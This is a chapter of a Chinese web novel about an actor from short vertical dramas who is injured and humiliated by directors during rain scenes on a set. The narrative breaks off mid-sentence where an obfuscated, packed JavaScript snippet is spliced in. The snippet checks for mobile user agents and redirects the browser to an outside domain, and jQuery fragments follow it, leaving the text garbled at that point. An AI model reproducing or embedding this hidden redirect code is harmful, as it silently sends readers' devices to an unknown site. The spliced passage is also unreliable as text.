第十六章
宿望太清楚自己在这儿的分量。一个竖屏爬上来的“流量咖”空降横屏中剧男一,背后多少双眼睛盯着等着看他笑话,他连发脾气的资格都没有。
“……行。”宿望从牙缝里挤出这一个字,声音不大,混在雨声里几乎听不见。他垂下眼,膝盖一弯,朝着那片尖锐狰狞的碎石,直挺挺地跪了下去。
尖锐的棱角瞬间刺破湿透的薄戏服,狠狠硌进皮肉里,一股钻心的锐痛让他身体不受控制地晃了一下,但他立刻绷紧了腰背,死死稳住。
小陈送完张成,拎着给宿望买的热饮急匆匆赶回来,拨开人群挤到前面,看到的正是这一幕。
瓢泼的人造冷雨里,宿望像个没有痛觉的提线木偶,跪在冰冷的碎石上,一遍遍给对手戏演员搭词、递情绪。
镜头有时扫不到他,他依旧得钉在那儿,雨水顺着他苍白的脸颊往下淌,嘴唇冻得发紫。
张成临走前那句“看住他,别让他在组里惹事”还在小陈耳朵边响着。她看着雨幕中那个低到尘埃里的背影,心里又冷又堵。
看住?还用看吗?宿望的姿态已经低得不能再低了。
对讲机滋滋响了几声,导演的声音带着点不满传出来,盖过了雨声:“张力不够!男二!上去拖他一下!我要他重心不稳,整个人扑倒的特写!动作狠一点!真实感!”
小陈猛地扭头看向旁边的执行导演:“导演!画面不穿帮的情况下,能不能给宿老师膝盖底下垫点东西?简单保护一下也行啊!这石头太尖了!”
执行导演正低头看监视器,闻言连眼皮都没抬一下:“垫东西?肯定穿帮。镜头一扫就看见了。效果要紧。”说完,他拿起对讲机,对着场中喊:“男二老师辛苦动作给上去!宿老师配合一下!”
小陈气得浑身发抖,指甲掐进掌心。她下意识地看向雨中的宿望。
宿望似乎听到了这边的争执,在冰冷的雨里,极其缓慢地侧过一点头。隔着迷蒙的雨幕,他的眼神撞上小陈的,他极其轻微地摇了摇头。
小陈死死咬住下唇,把冲到喉咙口的怒骂和酸涩硬生生咽了回去,眼眶瞬间红了。
这场漫长的“忏悔”终于熬到了结束的指令。人工降雨一停,宿望像是瞬间被抽走了所有力气,身体晃了晃,差点直接栽倒。
小陈一个箭步冲上去,想扶他,却被宿望抬手挡开了。
他咬着牙,一点一点地试图从碎石地上撑起身体。膝盖刚离开地面一点,刺骨的剧痛就让他倒抽一口冷气,额头上瞬间布满了冷汗,身体僵住,动弹不得。
小陈再也顾不得,蹲下去,小心翼翼地去卷宿望湿透黏在腿上的戏服裤子。布料黏连着皮肉,每往上卷一点点,都像在撕扯伤口。
宿望的呼吸骤然变得急促,牙关紧咬,硬是一声没吭。
当裤子终于卷到膝盖上方,露出下面狰狞的伤口时,小陈倒吸一口凉气。
两个膝盖早已渗出鲜血,被尖锐的石子划开深深浅浅的口子,混杂着泥水和血丝,裤子粗糙的布料就黏在那些翻开的皮肉上!
“哥……”小陈眼圈彻底红了,声音带着哭腔,手忙脚乱地从自己随身的背包里翻出碘伏和棉签,“哥你忍着点……”她拧开碘伏瓶子,手都在抖。
冰凉的棉签带着刺鼻的药水味,刚触碰到伤口边缘——
“宿老师!服装老师催了!下一场换衣服!”一个场务跑过来喊了一嗓子,看到宿望膝盖的惨状也是一愣。
服装老师紧跟着过来,一看这情形,眉头立刻拧紧了:“哎哟!这……这得赶紧处理啊!”她转身就朝着执行导演那边喊,“导演!宿老师膝盖伤得厉害,处理下伤口,换衣服得稍微等等!”
执行导演慢悠悠地踱步过来,居高临下地瞥了一眼宿望血肉模糊的膝盖。他扯了扯嘴角,发出一声极轻的嗤笑:
“呵,这才多大点伤啊?”他的声音不高不低,刚好能让周围几个人听见。他像是觉得还不够,转过身,对着略显嘈杂的现场,故意拔高了点音量:
“都等等啊!宿望老师需要处理一下——擦伤!”
那“擦伤”两个字,咬得格外清晰,带着浓浓的讥诮。
喊完,他似乎还不过瘾,像是自言自语,又像是特意说给宿望听的,用同样不高不低却清晰无比的声音补了一句:
“啧,开机第一天,就得熬大夜咯。”
这句话像根冰冷的针,精准地扎进宿望的耳膜。
宿望一直低垂着的头猛地抬了起来。脸上没有任何被羞辱的愤怒,只有一片死水般的平静。
他看都没看执行导演那张令人作呕的脸,目光直接越过他,落在还拿着碘伏棉签、气得浑身发抖的小陈和一脸担忧的服装老师身上。
他撑着剧痛的膝盖,硬生生把自己从地上完全撑直了身体,额头的冷汗顺着鬓角滑下,滴落在血迹斑斑的戏服上。
“辛苦老师,拿一下衣服。”
宿望顿了顿,眼神扫过自己惨不忍睹的膝盖,语气没有一丝波澜:
“我可以换了。”
服装老师看着宿望膝盖上还在渗血的伤口,嘴唇动了动,最终还是没说什么,叹了口气转身去拿衣服。
宿望撑着剧痛的膝盖,硬是没让小陈扶,自己一瘸一拐地挪到了临时搭的简陋更衣棚。
这戏,怕是不好拍了
接下来的几天,宿望的预感成了现实。
导演姓郑,是个拍过几部不温不火都市剧的“资深”导演,自诩艺术追求极高,尤其看不上从下沉市场爬上来的演员。他把对竖屏咖的鄙夷,不断地倾泻在宿望身上,手段不高明,却足够恶心人。
于是捧高踩低成了剧组常态。
“卡!”郑导从监视器后探出头,脸上堆起和煦的笑,声音都柔了八度,“薇薇啊,刚才那个眼神特别好!那种隐忍的委屈,层次感出来了!保持住,你就是这个角色的灵魂!
林薇矜持地笑了笑,微微颔首:“谢谢导演,我再琢磨一下更内敛的表达。”
“好好好!不急!你慢慢找感觉!灯光!给林老师这边再补个柔光,脸要拍得通透!”郑导指挥完,转向旁边同样在走位的宿望时,脸上只剩下不耐烦。
“宿望!”他声音陡然拔高,带着刺耳的挑剔,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326079|183223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站位偏了!挡林老师光了知道吗?往旁边挪半步!别跟个木头桩子似的杵那儿!动起来要有设计!别把你在竖屏里那套挤眉弄眼的浮夸带过来!我们这是横屏!讲究的是细腻!是沉淀!”
宿望沉默地往旁边挪了半步,动作牵扯到膝盖的伤处,细微地皱了下眉。
郑导像抓住了什么把柄,立刻用足以让全场听见的音量“啧”了一声,对着旁边的副导演,声音不大不小,刚好能让宿望听清:
“看见没?这就是没吃过专业训练的亏。一点戏外的小伤小痛都带进角色里,影响状态!演员的信念感呢?这点苦都吃不了,趁早回去拍你的竖屏去!”
周围的空气瞬间有些凝滞。林薇看了宿望一眼,眼神里有点尴尬,没说话。小陈在角落气得攥紧了拳头。
又是一场雨戏,冰冷的水柱劈头盖脸浇下来。这场戏要求宿望饰演的男主在暴雨中狂奔追赶一辆车,最后体力不支滑倒在水坑里。
“Action!”
宿望咬着牙在湿滑的,布满碎石和泥泞的路上奔跑,膝盖的旧伤在每一次蹬地时都传来尖锐的刺痛,冰冷的雨水砸得他睁不开眼。
“卡!”郑导的声音透过喇叭传来,带着明显的不满,“宿望!你跑起来怎么软绵绵的?!被掏空了?!我要的是那种绝望的、拼尽全力的冲刺感!不是老大爷晨跑!重来!”
一次,两次,三次……
每一次滑倒,宿望都结结实实地摔在冰冷湿滑的地面上,手肘和手掌在粗糙的地面擦出新的血痕。泥水混着血水,狼狈不堪。
“卡!还是不对!情绪不到位!你摔得太假了!要真实!要把那种精疲力竭、被全世界抛弃的感觉摔出来!”郑导拿着喇叭,语气刻薄,“林老师,辛苦你给他示范一下什么叫真实的生理反应下的摔倒!注意保护自己啊!”
林薇被点名,只能无奈地在旁边铺了点防护垫的区域,做了个姿态优美,带着明显表演痕迹的“踉跄扑倒”。
“看看!看看!”郑导立刻像发现了珍宝,指着林薇对宿望说,“这才叫表演!虽然只是示范,但那种失去控制的瞬间感抓得多准!宿望,你学着点!别光有张脸!演戏是用脑子!用身体!用你的骨头去感受!”
他转头又对动作指导吩咐:“宿望那边摔倒的地方,碎石清理一下,别真摔坏了耽误进度。”听起来像是关心,下一句却暴露了本质,“主要是别把那张脸划花了,后面还有特写镜头要拍呢,金贵着呢。”
执行导演在旁边嗤笑一声,指挥场务象征性地把宿望即将摔倒的那片区域几块最尖利的石头踢开。
宿望抹了把脸上的雨水和泥浆,撑着剧痛不已的膝盖站起来。冰冷的雨水顺着头发流进脖颈,冻得他牙关都在打颤。他看着郑导那张写满鄙夷和算计的脸,看着林薇略带歉意的眼神,看着周围工作人员或麻木或同情的目光。
膝盖的伤口在湿冷的布料下闷痛、刺痒,新擦破的手掌火辣辣地疼。宿望深吸了一口带着土腥味的空气,咽下即将脱口的怒火。
他对着郑导的方向,声音不卑不亢:
“导演,清楚了。再来。”